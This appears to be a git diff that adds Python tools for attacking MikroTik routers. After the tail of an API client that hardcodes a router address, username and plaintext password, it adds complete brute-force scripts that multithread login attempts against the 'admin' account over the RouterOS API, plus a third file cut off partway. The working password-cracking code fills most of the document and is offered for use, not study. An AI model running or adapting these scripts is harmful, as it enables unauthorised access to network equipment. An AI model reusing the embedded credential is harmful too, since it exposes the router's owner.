||||||
|
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.sock.settimeout(30) # 30 second timeout
|
||||||
|
self.sock.connect((self.host, self.port))
|
||||||
|
self.ssl_sock = context.wrap_socket(self.sock)
|
||||||
|
|
||||||
|
print(f"Connected to {self.host}:{self.port}")
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Connection failed: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def disconnect(self):
|
||||||
|
"""Close the connection"""
|
||||||
|
if self.ssl_sock:
|
||||||
|
self.ssl_sock.close()
|
||||||
|
if self.sock:
|
||||||
|
self.sock.close()
|
||||||
|
|
||||||
|
def encode_length(self, length):
|
||||||
|
"""Encode length for MikroTik API protocol"""
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
elif length <= 0x1FFFFF:
|
||||||
|
return bytes([((length >> 16) & 0xFF) | 0xC0,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
elif length <= 0xFFFFFFF:
|
||||||
|
return bytes([((length >> 24) & 0xFF) | 0xE0,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xF0,
|
||||||
|
(length >> 24) & 0xFF,
|
||||||
|
(length >> 16) & 0xFF,
|
||||||
|
(length >> 8) & 0xFF,
|
||||||
|
length & 0xFF])
|
||||||
|
|
||||||
|
def decode_length(self):
|
||||||
|
"""Decode length from MikroTik API protocol"""
|
||||||
|
c = self.ssl_sock.recv(1)[0]
|
||||||
|
|
||||||
|
if (c & 0x80) == 0x00:
|
||||||
|
return c
|
||||||
|
elif (c & 0xC0) == 0x80:
|
||||||
|
return ((c & ~0xC0) << 8) + self.ssl_sock.recv(1)[0]
|
||||||
|
elif (c & 0xE0) == 0xC0:
|
||||||
|
data = self.ssl_sock.recv(2)
|
||||||
|
return ((c & ~0xE0) << 16) + (data[0] << 8) + data[1]
|
||||||
|
elif (c & 0xF0) == 0xE0:
|
||||||
|
data = self.ssl_sock.recv(3)
|
||||||
|
return ((c & ~0xF0) << 24) + (data[0] << 16) + (data[1] << 8) + data[2]
|
||||||
|
elif (c & 0xF8) == 0xF0:
|
||||||
|
data = self.ssl_sock.recv(4)
|
||||||
|
return (data[0] << 24) + (data[1] << 16) + (data[2] << 8) + data[3]
|
||||||
|
|
||||||
|
def write_word(self, word):
|
||||||
|
"""Send a word to the router"""
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
self.ssl_sock.send(self.encode_length(len(word_bytes)))
|
||||||
|
self.ssl_sock.send(word_bytes)
|
||||||
|
|
||||||
|
def read_word(self):
|
||||||
|
"""Read a word from the router"""
|
||||||
|
length = self.decode_length()
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
return self.ssl_sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
|
||||||
|
def write_sentence(self, words):
|
||||||
|
"""Send a sentence (list of words) to the router"""
|
||||||
|
for word in words:
|
||||||
|
self.write_word(word)
|
||||||
|
self.write_word("")
|
||||||
|
|
||||||
|
def read_sentence(self):
|
||||||
|
"""Read a sentence from the router"""
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = self.read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
def login(self):
|
||||||
|
"""Login to the router using plain password method"""
|
||||||
|
# Send login command
|
||||||
|
self.write_sentence(["/login", f"=name={self.username}", f"=password={self.password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
response = self.read_sentence()
|
||||||
|
|
||||||
|
if response and response[0] == "!done":
|
||||||
|
print("Login successful")
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f"Login failed: {response}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def command(self, cmd, params=None):
|
||||||
|
"""Execute a command on the router"""
|
||||||
|
if params is None:
|
||||||
|
params = []
|
||||||
|
|
||||||
|
# Send command
|
||||||
|
sentence = [cmd] + params
|
||||||
|
self.write_sentence(sentence)
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
results = []
|
||||||
|
while True:
|
||||||
|
sentence = self.read_sentence()
|
||||||
|
if not sentence:
|
||||||
|
break
|
||||||
|
if sentence[0] == "!done":
|
||||||
|
break
|
||||||
|
elif sentence[0] == "!re":
|
||||||
|
# Parse response data
|
||||||
|
result = {}
|
||||||
|
for item in sentence[1:]:
|
||||||
|
if item.startswith("="):
|
||||||
|
parts = item[1:].split("=", 1)
|
||||||
|
if len(parts) == 2:
|
||||||
|
result[parts[0]] = parts[1]
|
||||||
|
else:
|
||||||
|
result[parts[0]] = ""
|
||||||
|
results.append(result)
|
||||||
|
elif sentence[0] == "!trap":
|
||||||
|
print(f"Error: {sentence}")
|
||||||
|
break
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def main():
|
||||||
|
# Router connection details
|
||||||
|
host = "10.254.254.101"
|
||||||
|
username = "grahamro"
|
||||||
|
password = "cFKhz8q5gPLoucMbcT1Iy58r3IXgc3"
|
||||||
|
|
||||||
|
# Create API instance
|
||||||
|
api = MikrotikAPI(host, username, password)
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Connect and login
|
||||||
|
if not api.connect():
|
||||||
|
return
|
||||||
|
|
||||||
|
if not api.login():
|
||||||
|
return
|
||||||
|
|
||||||
|
print("\nRetrieving IP addresses and subnets...")
|
||||||
|
|
||||||
|
# Get all IP addresses
|
||||||
|
addresses = api.command("/ip/address/print")
|
||||||
|
|
||||||
|
print("\n=== IP Addresses and Subnets ===")
|
||||||
|
for addr in addresses:
|
||||||
|
interface = addr.get('interface', 'unknown')
|
||||||
|
address = addr.get('address', 'unknown')
|
||||||
|
network = addr.get('network', '')
|
||||||
|
actual_interface = addr.get('actual-interface', interface)
|
||||||
|
disabled = addr.get('disabled', 'false')
|
||||||
|
dynamic = addr.get('dynamic', 'false')
|
||||||
|
comment = addr.get('comment', '')
|
||||||
|
|
||||||
|
status = []
|
||||||
|
if disabled == 'true':
|
||||||
|
status.append('disabled')
|
||||||
|
if dynamic == 'true':
|
||||||
|
status.append('dynamic')
|
||||||
|
|
||||||
|
status_str = f" ({', '.join(status)})" if status else ""
|
||||||
|
comment_str = f" - {comment}" if comment else ""
|
||||||
|
|
||||||
|
print(f"\nInterface: {interface} ({actual_interface}){status_str}")
|
||||||
|
print(f" Address: {address}")
|
||||||
|
print(f" Network: {network}{comment_str}")
|
||||||
|
|
||||||
|
# Get routing table for additional subnet information
|
||||||
|
print("\n\n=== Routing Table ===")
|
||||||
|
routes = api.command("/ip/route/print")
|
||||||
|
|
||||||
|
# Filter and display relevant routes
|
||||||
|
for route in routes:
|
||||||
|
dst = route.get('dst-address', '')
|
||||||
|
gateway = route.get('gateway', '')
|
||||||
|
distance = route.get('distance', '')
|
||||||
|
scope = route.get('scope', '')
|
||||||
|
active = route.get('active', 'false')
|
||||||
|
dynamic = route.get('dynamic', 'false')
|
||||||
|
comment = route.get('comment', '')
|
||||||
|
|
||||||
|
# Skip default routes for clarity
|
||||||
|
if dst == '0.0.0.0/0':
|
||||||
|
continue
|
||||||
|
|
||||||
|
status = []
|
||||||
|
if active != 'true':
|
||||||
|
status.append('inactive')
|
||||||
|
if dynamic == 'true':
|
||||||
|
status.append('dynamic')
|
||||||
|
|
||||||
|
status_str = f" ({', '.join(status)})" if status else ""
|
||||||
|
comment_str = f" - {comment}" if comment else ""
|
||||||
|
|
||||||
|
print(f"\nDestination: {dst}{status_str}")
|
||||||
|
print(f" Gateway: {gateway}")
|
||||||
|
if distance:
|
||||||
|
print(f" Distance: {distance}")
|
||||||
|
if scope and scope != '30':
|
||||||
|
print(f" Scope: {scope}")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
|
||||||
|
finally:
|
||||||
|
api.disconnect()
|
||||||
|
print("\nDisconnected from router")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
227
mikrotik_fast_brute_force.py
Normal file
227
mikrotik_fast_brute_force.py
Normal file
|
|
@ -0,0 +1,227 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Ultra-Fast MikroTik Brute Force Attack
|
||||||
|
Optimized for maximum speed with minimal overhead
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
import sys
|
||||||
|
import signal
|
||||||
|
import queue
|
||||||
|
|
||||||
|
class FastMikroTikBruteForce:
|
||||||
|
def __init__(self, host, port=8728):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.username = "admin"
|
||||||
|
self.found_password = None
|
||||||
|
self.attempts = 0
|
||||||
|
self.start_time = None
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.stop_flag = threading.Event()
|
||||||
|
self.host_bytes = socket.inet_aton(host)
|
||||||
|
|
||||||
|
def fast_api_test(self, password):
|
||||||
|
"""Ultra-fast API test with minimal overhead"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Create socket with optimizations
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||||
|
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
|
sock.settimeout(1) # Very short timeout
|
||||||
|
|
||||||
|
# Connect
|
||||||
|
sock.connect((self.host, self.port))
|
||||||
|
|
||||||
|
# Pre-build login message for speed
|
||||||
|
login_cmd = "/login"
|
||||||
|
name_param = f"=name={self.username}"
|
||||||
|
pass_param = f"=password={password}"
|
||||||
|
|
||||||
|
# Send each word with length prefix (simplified encoding)
|
||||||
|
def send_word(word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
length = len(word_bytes)
|
||||||
|
if length <= 127:
|
||||||
|
sock.send(bytes([length]) + word_bytes)
|
||||||
|
else:
|
||||||
|
# Skip overly long words for speed
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Send login command
|
||||||
|
send_word(login_cmd)
|
||||||
|
send_word(name_param)
|
||||||
|
send_word(pass_param)
|
||||||
|
send_word("") # End sentence
|
||||||
|
|
||||||
|
# Quick response check - just look for first byte
|
||||||
|
try:
|
||||||
|
response = sock.recv(1)
|
||||||
|
if response:
|
||||||
|
# Read a bit more to check for success
|
||||||
|
more_data = sock.recv(10)
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
# Very basic success detection
|
||||||
|
# "!done" starts with 0x05 (length) + 0x21 ("!")
|
||||||
|
if len(response) > 0 and response[0] == 5:
|
||||||
|
second_response = sock.recv(1)
|
||||||
|
if len(second_response) > 0 and second_response[0] == 0x21: # "!"
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
except:
|
||||||
|
sock.close()
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def worker_thread(self, work_queue, result_queue):
|
||||||
|
"""Worker thread that processes password ranges"""
|
||||||
|
while not self.stop_flag.is_set():
|
||||||
|
try:
|
||||||
|
# Get work chunk
|
||||||
|
start_val, end_val = work_queue.get(timeout=1)
|
||||||
|
except queue.Empty:
|
||||||
|
continue
|
||||||
|
|
||||||
|
for value in range(start_val, end_val):
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
break
|
||||||
|
|
||||||
|
# Convert to password format quickly
|
||||||
|
hex_str = f"{value:08x}"
|
||||||
|
password = f"{hex_str[:4]}-{hex_str[4:]}"
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
current_attempts = self.attempts
|
||||||
|
|
||||||
|
# Less frequent progress reporting for speed
|
||||||
|
if current_attempts % 500 == 0:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec) - Testing: {password}")
|
||||||
|
|
||||||
|
if self.fast_api_test(password):
|
||||||
|
result_queue.put(password)
|
||||||
|
self.stop_flag.set()
|
||||||
|
return
|
||||||
|
|
||||||
|
work_queue.task_done()
|
||||||
|
|
||||||
|
def run_optimized_brute_force(self, max_workers=16, chunk_size=500, start_from=0):
|
||||||
|
"""Run optimized brute force with work queue"""
|
||||||
|
print(f"Ultra-Fast MikroTik Brute Force")
|
||||||
|
print(f"Host: {self.host}")
|
||||||
|
print(f"Workers: {max_workers}")
|
||||||
|
print(f"Chunk size: {chunk_size}")
|
||||||
|
print(f"Starting from: 0x{start_from:08x}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
self.start_time = time.time()
|
||||||
|
|
||||||
|
# Create work and result queues
|
||||||
|
work_queue = queue.Queue(maxsize=max_workers * 4)
|
||||||
|
result_queue = queue.Queue()
|
||||||
|
|
||||||
|
# Start worker threads
|
||||||
|
workers = []
|
||||||
|
for i in range(max_workers):
|
||||||
|
worker = threading.Thread(
|
||||||
|
target=self.worker_thread,
|
||||||
|
args=(work_queue, result_queue),
|
||||||
|
daemon=True
|
||||||
|
)
|
||||||
|
worker.start()
|
||||||
|
workers.append(worker)
|
||||||
|
|
||||||
|
# Producer thread to feed work
|
||||||
|
def producer():
|
||||||
|
current = start_from
|
||||||
|
while current < 0xFFFFFFFF and not self.stop_flag.is_set():
|
||||||
|
end = min(current + chunk_size, 0xFFFFFFFF + 1)
|
||||||
|
try:
|
||||||
|
work_queue.put((current, end), timeout=1)
|
||||||
|
current = end
|
||||||
|
except queue.Full:
|
||||||
|
time.sleep(0.01) # Brief pause if queue full
|
||||||
|
|
||||||
|
producer_thread = threading.Thread(target=producer, daemon=True)
|
||||||
|
producer_thread.start()
|
||||||
|
|
||||||
|
# Monitor for results
|
||||||
|
try:
|
||||||
|
while not self.stop_flag.is_set():
|
||||||
|
try:
|
||||||
|
password = result_queue.get(timeout=1)
|
||||||
|
print(f"\n*** PASSWORD FOUND! ***")
|
||||||
|
print(f"Password: {password}")
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"Attempts: {self.attempts:,}")
|
||||||
|
print(f"Time: {elapsed:.2f} seconds")
|
||||||
|
print(f"Rate: {self.attempts/elapsed:.0f} passwords/second")
|
||||||
|
return password
|
||||||
|
except queue.Empty:
|
||||||
|
continue
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\nStopping...")
|
||||||
|
self.stop_flag.set()
|
||||||
|
|
||||||
|
# Wait for workers to finish
|
||||||
|
for worker in workers:
|
||||||
|
worker.join(timeout=1)
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python3 mikrotik_fast_brute_force.py <HOST> [workers] [start_hex]")
|
||||||
|
print("Examples:")
|
||||||
|
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2")
|
||||||
|
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32")
|
||||||
|
print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32 0x00010000")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 16
|
||||||
|
start_from = 0
|
||||||
|
|
||||||
|
if len(sys.argv) > 3:
|
||||||
|
start_hex = sys.argv[3]
|
||||||
|
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
|
||||||
|
|
||||||
|
# Optimize workers based on CPU cores but don't go crazy
|
||||||
|
import os
|
||||||
|
cpu_count = os.cpu_count() or 4
|
||||||
|
if workers > cpu_count * 4:
|
||||||
|
print(f"Warning: {workers} workers might be too many for {cpu_count} CPU cores")
|
||||||
|
print(f"Consider using {cpu_count * 2} workers instead")
|
||||||
|
|
||||||
|
attacker = FastMikroTikBruteForce(host)
|
||||||
|
|
||||||
|
print(f"Starting optimized attack with {workers} workers...")
|
||||||
|
password = attacker.run_optimized_brute_force(
|
||||||
|
max_workers=workers,
|
||||||
|
chunk_size=500,
|
||||||
|
start_from=start_from
|
||||||
|
)
|
||||||
|
|
||||||
|
if password:
|
||||||
|
print(f"\n✓ SUCCESS! Password: {password}")
|
||||||
|
else:
|
||||||
|
print(f"\n✗ Attack stopped without finding password")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
292
mikrotik_full_brute_force.py
Normal file
292
mikrotik_full_brute_force.py
Normal file
|
|
@ -0,0 +1,292 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
MikroTik Full Brute Force Attack
|
||||||
|
Systematically tests ALL possible xxxx-xxxx password combinations
|
||||||
|
4,294,967,296 total passwords (0x00000000 to 0xFFFFFFFF)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
import sys
|
||||||
|
import signal
|
||||||
|
|
||||||
|
class MikroTikFullBruteForce:
|
||||||
|
def __init__(self, host, port=8728):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.username = "admin"
|
||||||
|
self.found_password = None
|
||||||
|
self.attempts = 0
|
||||||
|
self.start_time = None
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.stop_flag = threading.Event()
|
||||||
|
self.start_value = 0
|
||||||
|
self.current_value = 0
|
||||||
|
|
||||||
|
def test_api_password(self, password, timeout=2):
|
||||||
|
"""Test password using MikroTik API"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.connect((self.host, self.port))
|
||||||
|
|
||||||
|
def encode_length(length):
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xFF])
|
||||||
|
|
||||||
|
def write_word(word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
sock.send(encode_length(len(word_bytes)))
|
||||||
|
sock.send(word_bytes)
|
||||||
|
|
||||||
|
def write_sentence(words):
|
||||||
|
for word in words:
|
||||||
|
write_word(word)
|
||||||
|
write_word("")
|
||||||
|
|
||||||
|
def read_word():
|
||||||
|
try:
|
||||||
|
length_byte = sock.recv(1)
|
||||||
|
if not length_byte:
|
||||||
|
return ""
|
||||||
|
length = length_byte[0]
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
if length & 0x80:
|
||||||
|
second_byte = sock.recv(1)
|
||||||
|
if not second_byte:
|
||||||
|
return ""
|
||||||
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||||
|
|
||||||
|
if length > 500:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
return sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_sentence():
|
||||||
|
sentence = []
|
||||||
|
while True:
|
||||||
|
word = read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
# Send login
|
||||||
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
response = read_sentence()
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
return response and response[0] == "!done"
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def int_to_password(self, value):
|
||||||
|
"""Convert integer to xxxx-xxxx password format"""
|
||||||
|
hex_str = f"{value:08x}"
|
||||||
|
return f"{hex_str[:4]}-{hex_str[4:]}"
|
||||||
|
|
||||||
|
def test_password_range(self, start_val, end_val):
|
||||||
|
"""Test a range of password values"""
|
||||||
|
for value in range(start_val, end_val):
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return None
|
||||||
|
|
||||||
|
password = self.int_to_password(value)
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
self.current_value = value
|
||||||
|
current_attempts = self.attempts
|
||||||
|
|
||||||
|
# Progress reporting every 100 attempts
|
||||||
|
if current_attempts % 100 == 0:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||||
|
percent = (value / 0xFFFFFFFF) * 100
|
||||||
|
|
||||||
|
# Estimate time remaining
|
||||||
|
if rate > 0:
|
||||||
|
remaining_passwords = 0xFFFFFFFF - current_attempts
|
||||||
|
eta_seconds = remaining_passwords / rate
|
||||||
|
eta_hours = eta_seconds / 3600
|
||||||
|
eta_days = eta_hours / 24
|
||||||
|
|
||||||
|
if eta_days > 1:
|
||||||
|
eta_str = f"{eta_days:.1f} days"
|
||||||
|
elif eta_hours > 1:
|
||||||
|
eta_str = f"{eta_hours:.1f} hours"
|
||||||
|
else:
|
||||||
|
eta_str = f"{eta_seconds/60:.1f} minutes"
|
||||||
|
else:
|
||||||
|
eta_str = "unknown"
|
||||||
|
|
||||||
|
print(f"[*] {current_attempts:,} attempts ({rate:.1f}/sec) - "
|
||||||
|
f"Progress: {percent:.6f}% - Current: {password} - ETA: {eta_str}")
|
||||||
|
|
||||||
|
if self.test_api_password(password):
|
||||||
|
print(f"\n*** PASSWORD FOUND! ***")
|
||||||
|
print(f"Password: {password}")
|
||||||
|
print(f"Value: 0x{value:08x} ({value:,})")
|
||||||
|
print(f"Total attempts: {current_attempts:,}")
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
||||||
|
self.found_password = password
|
||||||
|
self.stop_flag.set()
|
||||||
|
return password
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def run_full_brute_force(self, max_workers=4, chunk_size=1000, start_from=0):
|
||||||
|
"""Run full brute force attack"""
|
||||||
|
print(f"MikroTik Full Brute Force Attack")
|
||||||
|
print(f"Host: {self.host}")
|
||||||
|
print(f"Total password space: 4,294,967,296 (0x00000000 to 0xFFFFFFFF)")
|
||||||
|
print(f"Starting from: 0x{start_from:08x} ({start_from:,})")
|
||||||
|
print(f"Threads: {max_workers}")
|
||||||
|
print(f"Chunk size: {chunk_size:,}")
|
||||||
|
print("=" * 80)
|
||||||
|
|
||||||
|
if start_from > 0:
|
||||||
|
print(f"WARNING: Resuming from 0x{start_from:08x}")
|
||||||
|
print(f"Skipping {start_from:,} passwords")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Estimate time at different rates
|
||||||
|
total_passwords = 0xFFFFFFFF - start_from
|
||||||
|
print("Time estimates at different speeds:")
|
||||||
|
for rate in [50, 100, 200, 500]:
|
||||||
|
seconds = total_passwords / rate
|
||||||
|
days = seconds / (24 * 3600)
|
||||||
|
print(f" {rate:3d} pwd/sec: {days:.1f} days")
|
||||||
|
print()
|
||||||
|
|
||||||
|
self.start_time = time.time()
|
||||||
|
self.current_value = start_from
|
||||||
|
|
||||||
|
# Create work chunks
|
||||||
|
chunks = []
|
||||||
|
current = start_from
|
||||||
|
while current < 0xFFFFFFFF:
|
||||||
|
end = min(current + chunk_size, 0xFFFFFFFF + 1)
|
||||||
|
chunks.append((current, end))
|
||||||
|
current = end
|
||||||
|
|
||||||
|
print(f"Created {len(chunks):,} chunks of {chunk_size:,} passwords each")
|
||||||
|
print(f"Starting brute force attack...")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Use ThreadPoolExecutor
|
||||||
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||||
|
future_to_chunk = {
|
||||||
|
executor.submit(self.test_password_range, start, end): (start, end)
|
||||||
|
for start, end in chunks[:max_workers * 10] # Submit first batch
|
||||||
|
}
|
||||||
|
|
||||||
|
chunk_index = max_workers * 10
|
||||||
|
|
||||||
|
for future in as_completed(future_to_chunk):
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
# Cancel remaining tasks
|
||||||
|
for f in future_to_chunk:
|
||||||
|
f.cancel()
|
||||||
|
break
|
||||||
|
|
||||||
|
chunk_range = future_to_chunk[future]
|
||||||
|
try:
|
||||||
|
result = future.result()
|
||||||
|
if result:
|
||||||
|
return result
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error in chunk {chunk_range}: {e}")
|
||||||
|
|
||||||
|
# Submit next chunk if available
|
||||||
|
if chunk_index < len(chunks) and not self.stop_flag.is_set():
|
||||||
|
start, end = chunks[chunk_index]
|
||||||
|
new_future = executor.submit(self.test_password_range, start, end)
|
||||||
|
future_to_chunk[new_future] = (start, end)
|
||||||
|
chunk_index += 1
|
||||||
|
|
||||||
|
if not self.found_password:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"\nBrute force completed without finding password.")
|
||||||
|
print(f"Total attempts: {self.attempts:,}")
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds ({elapsed/3600:.2f} hours)")
|
||||||
|
if self.attempts > 0:
|
||||||
|
print(f"Average rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||||
|
|
||||||
|
return self.found_password
|
||||||
|
|
||||||
|
def signal_handler(signum, frame):
|
||||||
|
"""Handle Ctrl+C gracefully"""
|
||||||
|
print(f"\n\nReceived signal {signum}")
|
||||||
|
print("Stopping attack gracefully...")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python3 mikrotik_full_brute_force.py <HOST> [threads] [start_from_hex]")
|
||||||
|
print("Examples:")
|
||||||
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2")
|
||||||
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8")
|
||||||
|
print(" python3 mikrotik_full_brute_force.py 10.250.2.2 8 0x00010000 # Resume from 0x00010000")
|
||||||
|
print()
|
||||||
|
print("WARNING: Full brute force will take a VERY long time!")
|
||||||
|
print("At 100 passwords/second, it would take ~1.36 years to complete.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
||||||
|
start_from = 0
|
||||||
|
|
||||||
|
if len(sys.argv) > 3:
|
||||||
|
start_hex = sys.argv[3]
|
||||||
|
if start_hex.startswith('0x'):
|
||||||
|
start_from = int(start_hex, 16)
|
||||||
|
else:
|
||||||
|
start_from = int(start_hex)
|
||||||
|
|
||||||
|
# Install signal handler
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
signal.signal(signal.SIGTERM, signal_handler)
|
||||||
|
|
||||||
|
# Confirm before starting
|
||||||
|
print(f"About to start full brute force against {host}")
|
||||||
|
print(f"This will test ALL 4,294,967,296 possible passwords!")
|
||||||
|
print(f"Starting from: 0x{start_from:08x}")
|
||||||
|
print()
|
||||||
|
response = input("Are you sure you want to continue? (yes/no): ")
|
||||||
|
if response.lower() != 'yes':
|
||||||
|
print("Aborted.")
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
attacker = MikroTikFullBruteForce(host)
|
||||||
|
password = attacker.run_full_brute_force(
|
||||||
|
max_workers=threads,
|
||||||
|
chunk_size=1000,
|
||||||
|
start_from=start_from
|
||||||
|
)
|
||||||
|
|
||||||
|
if password:
|
||||||
|
print(f"\n✓ SUCCESS! Password found: {password}")
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print(f"\n✗ Password not found in tested range.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
296
mikrotik_reliable_fast.py
Normal file
296
mikrotik_reliable_fast.py
Normal file
|
|
@ -0,0 +1,296 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Reliable Fast MikroTik Brute Force
|
||||||
|
Optimized for speed while maintaining authentication accuracy
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
import queue
|
||||||
|
import sys
|
||||||
|
|
||||||
|
class ReliableFastBruteForce:
|
||||||
|
def __init__(self, host, port=8728):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.username = "admin"
|
||||||
|
self.attempts = 0
|
||||||
|
self.start_time = None
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.stop_flag = threading.Event()
|
||||||
|
self.found_password = None
|
||||||
|
|
||||||
|
def reliable_api_test(self, password):
|
||||||
|
"""Fast but reliable API test"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||||
|
